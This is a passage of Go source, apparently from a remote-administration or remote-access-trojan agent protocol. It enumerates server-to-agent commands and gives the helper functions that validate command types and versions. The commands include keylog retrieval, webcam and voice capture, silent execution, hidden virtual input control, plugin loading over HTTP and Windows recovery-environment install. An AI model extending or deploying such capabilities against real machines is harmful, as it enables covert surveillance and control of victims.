|
|
CommandFileIcon: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileList: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileMkdir: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileMove: {Min: 1, Max: 1},
|
|
|
|
|
CommandFilePeek: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileRead: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileRequestAccess: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileSearch: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileThumb: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileUpload: {Min: 1, Max: 1},
|
2026-08-03 23:29:16 -05:00
|
|
|
CommandFileUploadDesktop: {Min: 1, Max: 1},
|
2026-07-30 12:38:28 -05:00
|
|
|
CommandFileUploadHttp: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileWrite: {Min: 1, Max: 1},
|
|
|
|
|
CommandFileZip: {Min: 1, Max: 1},
|
|
|
|
|
CommandKeylogClearAll: {Min: 1, Max: 1},
|
|
|
|
|
CommandKeylogDelete: {Min: 1, Max: 1},
|
|
|
|
|
CommandKeylogList: {Min: 1, Max: 1},
|
|
|
|
|
CommandKeylogRequestPermission: {Min: 1, Max: 1},
|
|
|
|
|
CommandKeylogRetrieve: {Min: 1, Max: 1},
|
|
|
|
|
CommandPluginLoad: {Min: 1, Max: 1},
|
|
|
|
|
CommandPluginLoadHttp: {Min: 1, Max: 1},
|
|
|
|
|
CommandPluginUnload: {Min: 1, Max: 1},
|
|
|
|
|
CommandPrivacyStart: {Min: 1, Max: 1},
|
|
|
|
|
CommandPrivacyStatus: {Min: 1, Max: 1},
|
|
|
|
|
CommandPrivacyStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandProcessIcon: {Min: 1, Max: 1},
|
|
|
|
|
CommandProcessKill: {Min: 1, Max: 1},
|
|
|
|
|
CommandProcessList: {Min: 1, Max: 1},
|
|
|
|
|
CommandProcessResume: {Min: 1, Max: 1},
|
|
|
|
|
CommandProcessSuspend: {Min: 1, Max: 1},
|
|
|
|
|
CommandProxyClose: {Min: 1, Max: 1},
|
|
|
|
|
CommandProxyConnect: {Min: 1, Max: 1},
|
|
|
|
|
CommandProxyData: {Min: 1, Max: 1},
|
|
|
|
|
CommandReconnect: {Min: 1, Max: 1},
|
|
|
|
|
CommandScreenshot: {Min: 1, Max: 1},
|
|
|
|
|
CommandScriptExec: {Min: 1, Max: 1},
|
|
|
|
|
CommandSilentExec: {Min: 1, Max: 1},
|
|
|
|
|
CommandUninstall: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualEnableCursor: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualEnableKeyboard: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualEnableMouse: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualKeyDown: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualKeyUp: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualKillAll: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualMouseDown: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualMouseMove: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualMouseUp: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualMouseWheel: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualRequestKeyframe: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualSetFps: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualSetQuality: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualStart: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualStartProcess: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandVirtualWindowList: {Min: 1, Max: 1},
|
|
|
|
|
CommandVoiceCapabilities: {Min: 1, Max: 1},
|
|
|
|
|
CommandVoiceDownlink: {Min: 1, Max: 1},
|
|
|
|
|
CommandVoiceSessionStart: {Min: 1, Max: 1},
|
|
|
|
|
CommandVoiceSessionStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebcamList: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebcamSelect: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebcamSetFps: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebcamSetQuality: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebcamStart: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebcamStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebrtcP2pIce: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebrtcP2pOffer: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebrtcP2pStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebrtcPublish: {Min: 1, Max: 1},
|
|
|
|
|
CommandWebrtcStop: {Min: 1, Max: 1},
|
|
|
|
|
CommandWinreInstall: {Min: 1, Max: 1},
|
|
|
|
|
CommandWinreProbe: {Min: 1, Max: 1},
|
|
|
|
|
CommandWinreUninstall: {Min: 1, Max: 1},
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var commandTypeSet = func() map[CommandType]struct{} {
|
|
|
|
|
values := make(map[CommandType]struct{}, len(CommandTypes))
|
|
|
|
|
for _, value := range CommandTypes {
|
|
|
|
|
values[value] = struct{}{}
|
|
|
|
|
}
|
|
|
|
|
return values
|
|
|
|
|
}()
|
|
|
|
|
|
|
|
|
|
var serverToAgentMessageTypeSet = func() map[MessageType]struct{} {
|
|
|
|
|
values := make(map[MessageType]struct{}, len(ServerToAgentMessageTypes))
|
|
|
|
|
for _, value := range ServerToAgentMessageTypes {
|
|
|
|
|
values[value] = struct{}{}
|
|
|
|
|
}
|
|
|
|
|
return values
|
|
|
|
|
}()
|
|
|
|
|
|
|
|
|
|
func IsCommandType(value string) bool {
|
|
|
|
|
_, ok := commandTypeSet[CommandType(value)]
|
|
|
|
|
return ok
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func IsSupportedCommandVersion(command string, version int) bool {
|
|
|
|
|
rangeValue, ok := CommandVersionSupport[CommandType(command)]
|
|
|
|
|
return ok && version >= rangeValue.Min && version <= rangeValue.Max
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func SupportedCommandVersionRanges() map[string]CommandVersionRange {
|
|
|
|
|
values := make(map[string]CommandVersionRange, len(CommandVersionSupport))
|
|
|
|
|
for command, rangeValue := range CommandVersionSupport {
|
|
|
|
|
values[string(command)] = rangeValue
|
|
|
|
|
}
|
|
|
|
|
return values
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func IsServerToAgentMessageType(value string) bool {
|
|
|
|
|
_, ok := serverToAgentMessageTypeSet[MessageType(value)]
|
|
|
|
|
return ok
|
|
|
|
|
}
|